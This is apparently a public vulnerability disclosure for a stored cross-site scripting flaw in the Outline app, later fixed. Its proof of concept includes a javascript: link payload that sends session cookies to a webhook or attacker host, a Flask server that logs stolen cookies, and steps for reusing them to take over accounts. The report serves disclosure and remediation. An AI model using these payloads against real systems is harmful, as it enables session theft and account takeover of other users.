

## Stored Cross-site Scripting (XSS) leads to Account Takeover in outline/outline

0



Valid

Reported on Jul 4th 2022



### Requirements

Be able to edit or create documents.

Click of a user on the link.



### Description

The markdown's `link creation` feature does not properly sanitize url input, which allows to use `error` event to execute `javascript`. Furthermore, due to a lack of `HttpOnly` flag on sessions cookie, it is possible to exfiltrate them via `document.cookie` variable to take over the other user's account.

The payload used is the following:

```
[XSS](javascript:window.onerror=window.location='https://webhook.site/09731
```




### Proof of Concept

#### Basic cookies exfiltration

Step 1: go to [webhook.site](https://webhook.site) and take your unique URL.

The screenshot shows the Webhook.site interface. At the top, there's a navigation bar with links like 'Docs & API', 'Custom Actions', 'WebhookScript', 'Terms & Privacy', and 'Support'. Below this, there's a section for 'REQUESTS (0/500)' with a 'Search Query' input. The main content area displays a message: 'Webhook.site lets you easily inspect, test and automate (with the visual Custom Actions builder, or WebhookScript) any incoming HTTP request or e-mail. What's a webhook? Any request or email sent to these addresses are logged here instantly — you don't even have to refresh!'. Below this, there's a section for 'Your unique URL (Please copy it from here, not from the address bar!)' which shows the URL 'https://webhook.site/09731cdb-80b0-47e8-a057-f86e939f1ad9'. There are buttons for 'Copy to clipboard' and 'Open in new tab'. Below that, there's a section for 'Your unique email address' which shows the email '09731cdb-80b0-47e8-a057-f86e939f1ad9@email.webhook.site'. There are buttons for 'Copy to clipboard' and 'Open in mail client'. At the bottom, there's a note: 'Are you not receiving anything? Make sure that you copied the URL from above, and not from the browsers' address bar. To change the response (status code, body content) of the URL, click Edit above. With Webhook site Pro, you get more features like Custom Actions that lets you extract JSON or Redis values and use them to send emails and requests, write custom scripts, and more. Read more or Upgrade'.

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Step 2: create a document with the following content. (insert your unique url)

[XSS]([javascript:window.onerror=window.location='{YOUR-UNIQUE-URL}'?'+document.cookie](https://webhook.site/09731cdb-80b0-47e8-a057-f86e939f1ad9?utm_source=google&utm_medium=organic&utm_campaign=20220404))



Welcome /



Share

+ New doc



## XSS

You updated less than a minute ago • Viewed by only you

[XSS]([javascript:window.onerror=window.location='https://webhook.site/09731cdb-80b0-47e8-a057-f86e939f1ad9?'+document.cookie](https://webhook.site/09731cdb-80b0-47e8-a057-f86e939f1ad9?utm_source=google&utm_medium=organic&utm_campaign=20220404))

Step 3: publish the note, click on the link and go to [webhook.site](https://webhook.site).

Before clicking:

Welcome /



Share

+ New doc



## XSS

You updated 10 minutes ago • Viewed by only you

[XSS](#)

After clicking:

Webhook.site Docs & API Custom Actions WebhookScript Terms & Privacy Support

Upgrade Copy Edit New Login

Password Alias Schedule CSV Export Custom Actions Settings Run Now XHR Redirect Settings... Redirect Now CORS Headers Auto Navigate Hide Details More

REQUESTS (1/500) Newest First

Search Query

GET 07/04/2022 3:03:18 PM

Request Details

Permalink Raw content Export as

GET https://webhook.site/09731cdb-80b0-47e8-a057-f86e939f1ad9?utm\_source=google&utm\_medium=organic&utm\_campaign=20220404

Host 176.63.107.252 whois

Date 07/04/2022 3:03:18 PM (a few seconds ago)

Size 0 bytes

ID b53746ed-c374-4431-9c06-ca6411f20024

Files

Query strings

signUpQueryParams [{"utm\_campaign":"15615666178","utm\_source":"google","gclid":"Cj0KCQjwn4qMBhCvARIsAFNAMIgQ9oak7MY4EwQhgOscISNSuT4ZvSpN4io5AXIDidfCXl98VogaAoS4EALw\_wcB"; \_gac\_ua=109435745-1%3D1.1656928996.Cj0KCQjwn4qMBhCvARIsAFNAMIgQ9oak7MY4EwQhgOscISNSuT4ZvSpN4io5AXIDidfCXl98VogaAoS4EALw\_wcB; lastSignedIn=slack; sessions=}

Headers

connection close

sec-fetch-site cross-site

sec-fetch-mode navigate

sec-fetch-dest document

upgrade-insecure-requests 1

cookie

referer

accept-encoding gzip, deflate, br

accept-language en-US,en;q=0.5

accept text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i...

user-agent Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:101.0) Gecko/20100101 F...

host webhook.site

content-length

content-type

Form values

(empty)

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## Hidden cookies exfiltration

Step 1: Run the following flask application.

```
from flask import Flask, redirect

# init
app = Flask(__name__)

@app.route("/<path:cookies>")
def index(cookies):
    print("\n\x1b[1m=== New victim cookies ===\x1b[0m")
    print(cookies, end="\n\n")
    return redirect("https://google.fr", 302)

if __name__ == "__main__":
    app.run("0.0.0.0", 8000)
```

Step 2: from attacker's account, create a document with the following content. (insert your flask url)

```
[google.com](javascript:window.onerror=window.location='http://{{YOUR-FLASK-URL}}')
```



*Victim point of view*

Before clicking:

Welcome / ☰


● Share + New doc | ...

### Cheat sheet - Links

You updated less than a minute ago • Viewed by only you

[google.com](#) ↗

After clicking:





## Attacker point of view


```
$ sudo python app.py
* Serving Flask app 'app' (lazy loading)
* Environment: production
  WARNING: This is a development server. Do not use it in a production deployment.
  Use a production WSGI server instead.
* Debug mode: off
* Running on all addresses (0.0.0.0)
  WARNING: This is a development server. Do not use it in a production deployment.
* Running on http://127.0.0.1:8000
* Running on http://:8000 (Press CTRL+C to quit)

=== New victim cookies ===
heroku-session-affinity=ADaDaANoA24IASkyY7///8HYgAOXW1IAm3v2ECbAAAAAJtAAABXdlYl4ybQAAAAV3ZWlUMHqwYugr1ZA8chKjwb06d8AZeux4aA__; accessToken=
sessions=
__stripe_sid=f6abf097-f2f1-4da4-92a6-97ef96a5182ea39651; __stripe_mid=fbf98a95-cbc4-4aea-bb1e-f856c6736ad33e1c58;
- [04/Jul/2022 15:45:52] "GET /heroku-session-affinity=ADaDaANoA24IASkyY7///8HYgAOXW1IAm3v2ECbAAAAAJtAAABXdlYl4ybQAAAAV3ZWlUMHqwYugr1ZA8chKjwb06d8AZeux4aA__;
%20accessToken=
; %20sessions=
; %20_ga=GA1.2.88475786.1656941455; %20_gid=GA1.2.286234706.1656941455; %20__stripe_mid=fbf98a95-cbc4-4aea-bb1e-f856c6736ad33e1c58;
%20__stripe_sid=f6abf097-f2f1-4da4-92a6-97ef96a5182ea39651 HTTP/1.1" 302 -
```

As you can see, the victim gets redirected to [google.com](https://www.google.com) without knowing that someone have stolen his cookies.


## Use cookies

Step 1: without closing the victim window, go to the outline login instance page.




Step 2: add the session, XX cookies you own with the attack. (you can use [Cookie-Editor](#) extension to make it easier)

Victim home page:



Victim account settings:

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## Profile

**Photo**  
Choose a photo or image to represent yourself.

**Full name**  
This could be your real name, or a nickname — however you'd like people to refer to you.

**Language**  
Please note that translations are currently in early access. Community contributions are accepted through our [translation portal](#).

English (US) ▼

Save

**Delete Account**  
You may delete your account at any time, note that this is unrecoverable

Delete account...

## Impact

An attacker could use this vulnerability to **takeover** an **admin account** and get access to all the **features** of the **outline** application.

CVE  
CVE-2022-2342  
(Published)

Vulnerability Type  
CWE-79: Cross-site Scripting (XSS) - Stored

Severity  
High (7.3)

Registry  
Npm

Affected Version  
0.64.3

Visibility  
Public

Status  
Fixed

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Found by



**Mizu**

@kevin-mizu

pro ▼

This report was seen 944 times.

We are processing your report and will contact the **outline** team within 24 hours. 5 months ago

A **outline/outline** maintainer has acknowledged this report 5 months ago

**Tom Moor** validated this vulnerability 5 months ago

An initial remediation has been deployed to prevent the javascript protocol from being rendered into the DOM.

A slightly longer term and more resilient fix will be to make the accessToken cookie httpOnly

**Mizu** has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

**Mizu** 5 months ago

Researcher

Perfect, it's not working anymore on my side.  
@admin, can you ask the maintainer if it's ok to assign a CVE ID?

**Jamie Slome** 5 months ago

Admin

@Tom, are you happy for me to assign a CVE to this report?

**Tom Moor** 5 months ago

Okay, yes.

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Tom Moor [5 months ago](#)

Actually I should put a patch of the last release out at least before that :)

Tom Moor marked this as fixed in **v0.64.4** with commit **85657b** [5 months ago](#)

The fix bounty has been dropped **✖**

This vulnerability will not receive a CVE **✖**

Jamie Slome [5 months ago](#)

[Admin](#)

Are you ready for me to proceed with the CVE now?

Tom Moor [5 months ago](#)

Yep

Sign in to join this conversation

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